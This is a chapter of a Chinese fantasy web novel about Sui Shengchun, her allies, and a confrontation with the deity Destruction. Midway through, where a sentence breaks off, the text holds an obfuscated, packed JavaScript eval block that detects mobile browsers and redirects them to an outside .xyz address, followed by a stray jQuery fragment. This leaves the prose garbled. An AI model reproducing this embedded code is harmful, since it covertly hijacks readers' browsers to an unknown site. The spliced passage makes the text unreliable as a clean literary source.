所幸,能被剩到现在的人,不说非常聪明,但也没有笨的人。
这对龙凤胎也不是笨人,相反,他们的天资相当聪颖。
当时的进步就已经很快了,虽然从粗到细和从细到极细是两个完全不同的难度,可也过去了这么久的时间了,一同学习的人当中,只有较为忙碌的息还没有达到要求。
若想对比,当然是需要参照物的,而那参照物自然是辛——唯一确定是由那个世界供养着的人。
埃尔温此时正在一旁,也关注着这边的对话,自然明白如今的状态,到了他发挥的时间了。
即便所要分析的能量已经被分离得足够小了,可这依然需要耗费大量的时间。
两种能量之间的对比至少也需要耗费两个小时。
时间倒也不算很晚,至少两个小时还是能有的,于是埃尔温就在现场开始分析起来。
岁生春聚精会神地看着他的动作,这是一个她还没能掌握的技巧,这个操作对于她来说过于精细了,想要自己琢磨出来是不可能的。
倒是其他的诸如时间、空间这些自身特质极为醒目的能量对于她来说要更好掌握一点。
实际上,不只是她,其他人也睁大眼睛看着埃尔温,无论在哪里,能够将能量研究得这么精细都是一件很难的事情。
看着那纷飞的手指,已经其间不断变换的微妙能量,岁生春只感觉每一步都在她的意料之外,对于她来说,学习的难度相当大。
看了一会儿就感觉眼睛开始泛花,她将目光挪到一旁的篝火上,跃动的火苗充满了生命力,比那些东西好看多了。
不过她放弃了,总有人还没放弃。
一直到埃尔温停下动作,有人专注着看了全程,或许收获还不错。看了两小时都还能带着笑意。
岁生春感应到埃尔温手中的能量化为千丝万缕,回归天地,立刻抬头,目光从篝火上面转移到埃尔温的脸上,他的脸上一如既往,没有什么多余的表情。
埃尔温并没有喜欢卖关子的恶习:“嗯,确实同出一源。”
辛看向旁边的瞬,若有所思地说:“也就是说,瞬的能量也是来自于狂砂之界。”
岁生春没有说话,只是看着辛,又看了一眼双胞胎。
“狂砂之界的意识还存在!”澄明说道,他看着岁生春提醒道:“这枚世界之核,你不用再肖想了。”
“你还真当我有这么疯狂吗?那当然是随便说说的,好好的人不做,做什么世界意识啊。”岁生春失笑,几乎奇异地看着澄明。
澄明被她盯着,一言不发。
“那也不要撺掇别人去。”澄明正僵直着,听到这句话,还以为是自己说的,下意识地捂嘴。
还好,下一刻,那个人又说了一句话,才让他从困惑中解救出来。
“他应该是这个意思。”埃尔温补充道。
仇人见面分外眼红,虽然已经不是他们一直都在一块,但是那一句话让澄明再度注意到他,心中的火气几乎有点压不下来。
你字才起了一个头,火气都还闷在肚子里,就被岁生春的话打断了。
“请相信我好吗?我觉得我还能算是个好人,从来都是一个遵守法度的好人。”岁生春半开玩笑得解释着,很快就将这个话题糊弄过去。
“既然已经确认了那边的情况,看来也需要更改一下策略了。”
谈话回归到正题。
“不过……都这么久了,是不是都没说过我的行动总目标?”
然而没回正题一秒钟,话题突然转向另一个分叉。
其他人齐齐点头。
“原来我们的行动有目标的吗?还以为只是在打发时间呢?”有一个人说了这样一句话。
确实,岁生春在心中赞同着,她原本也以为这只是用来打发时间的,可是了解得越多,越觉得这倒是有可能的。
不过明面上肯定是不能这样承认的,这跟自己打自己的脸有什么区别。
虽然主导者本人都这样想,但是有人与她持有完全不同的想法和信心,远超她本人的自信。只是这些不太好表现出来罢了。压力过大也不是一件好事,自己相信的事情,只要心中谨记就好。
岁生春接下来详细又粗略地解释了一下她的计划:“我觉得你们应该对于那个目标很有兴趣。”
当然,这里没有人能对那个目标不感兴趣,就连毁灭也会很感兴趣,虽然祂持有的是与他们完全想法的想法。
老江湖们走南闯北这么些年,光是从那简略的说辞中,就感受到了一股难以抑制的激动,单纯从原理上判断,这很有实施性。
换句话说,很有可能成功。
况且,比起如今市面上流行的那些骗局,这个显然要靠谱得多。
光看如今聚居地最为盛大的那个殉道者就知道了,若非他们探索到了殉道者的组织者的窝点,也不会明白这竟然是那样大的一个骗局。毕竟那位也是久经沙场的人了,将这项计划包装得极为精妙,结局极为美好,导致与之相比,那沉重的代价似乎也不算沉重了。
虽然人家并没有骗人,只是没有说过,复活的世界从来都只有他自己的世界。
虽然对于如今的他们来说,这算是一个极为明显的骗局,可身处其中,又有谁能真正的清醒呢?
至少他们也不能,漫长而无望的岁月总是格外消磨人,当转机出现时,哪怕是死亡都显得诱人起来。
而其他的组织,则是更不用说了,口号一个比一个响亮,可实际行动却一个比一个怂。
打着消除毁灭旗号的组织,在与毁灭打照面的第一时间就被连根拔起;打着全新新世界旗号的,还没来得及产生生机,就再度被彻底毁灭。
那些新生组织的第一道门槛,就是毁灭。
而能够越过毁灭走向新的阶段的,目前也就殉道者和岁生春。
所以这对于他们来说,算得一个很强的定心剂。
今夜,他们都可以拥抱着快乐入眠。
虽然,岁生春暂时
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16237679|173536||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
还不能回归梦的怀抱,因为就在她向所有人托盘而出的瞬间,她所在的醍醐镇组织就上了毁灭的黑名单。
毁灭做事不讲究时间,所以,其他人回去不久,毁灭就穿过空间的封锁来到醍醐镇。
这是祂对于毁灭之地绝对掌控权的体现。为了维护毁灭之地的安稳,任何可能得破坏因素都会被祂关注到,即便醍醐镇此刻是在小黑的完全保护之下,也没有办法躲过。
在超过四个人知道她这个组织的存在时,它就事实上地成立了,也被毁灭追踪到了。
小黑在第一时间被叫来接驾。
想来祂也没想到来到这里能见到自己离开多年的下属,岁生春竟然在一团气体身上看到了明显的怔愣。
趁着这几秒,岁生春立刻火力全开,动用着自己所有的力量将祂的行动禁锢住,尽管是在她最能发挥实力的地方,她最多也就能将制衡住毁灭两三秒。
这和之前的每一次都不同,不是分身也不是下属,而是本体,那个作为神的毁灭之源。
在毁灭挣脱禁锢之前,一个空间漩涡凭空出现,小黑立刻挥舞着黑色的如飘带一般的能量,与毁灭一同跳入空间漩涡之中。
前后不过一刹那,察觉到他们意图的毁灭挣扎得更加剧烈,原本能困住两三秒时间的力量迅速消耗,眼见着祂就要挣脱束缚,小黑整个身体跳上毁灭的气团之上,祂被定住的一瞬间,岁生春将空间漩涡关闭。
这还没完,毁灭本体的追踪能力远不是他那些无能的下属能够比的,连相提并论的资格都没有。
接下来,岁生春要做的事情就是——搬家。
这里已经不能待下去了,无论接下来会被送到哪里,她都要立刻搬离此处时空。
世界的搬家是一个很麻烦的事情,就算她再怎么想要加速时间,也无济于事。
岁生春将整个世界的力量集中在一起,当然也包括了来自其他世界的居民们,同时也腾挪着世界内部的位置,尽量将最重要的东西都集中到醍醐镇上。
睡梦之中,有人感觉到了外界的剧变,试图醒来,可就算他的眉头如何紧皱,再如何疯狂地活动身体,醒不过来就是醒不过来,不到六点不能醒来的底层法则想要撼动,实属难题。
此时的海面之前,源源不断的东西自海水之下涌上岸来,将海岸之上广阔的沙滩地区堆放得慢慢当当。
她是一个喜欢储藏的人,大量的数量可以带来安全感。所以,她活了这么多年,以前的收藏自然不可能位于醍醐镇,这里确实是一个专门做出来的游戏区域。
那能在哪里呢?自然只能在广袤无垠的海底了。
当然,除了这些破烂,海底还有这个世界最重要的东西——世界之核。
不过这东西不能直接出现在明面上,那太危险了,只能挪移到醍醐镇地下的空余地方——这是唯一的选择——下水道通道。
东西都挪完,时间也才过了几秒钟。
接下来的时间就是完全属于世界转移的了。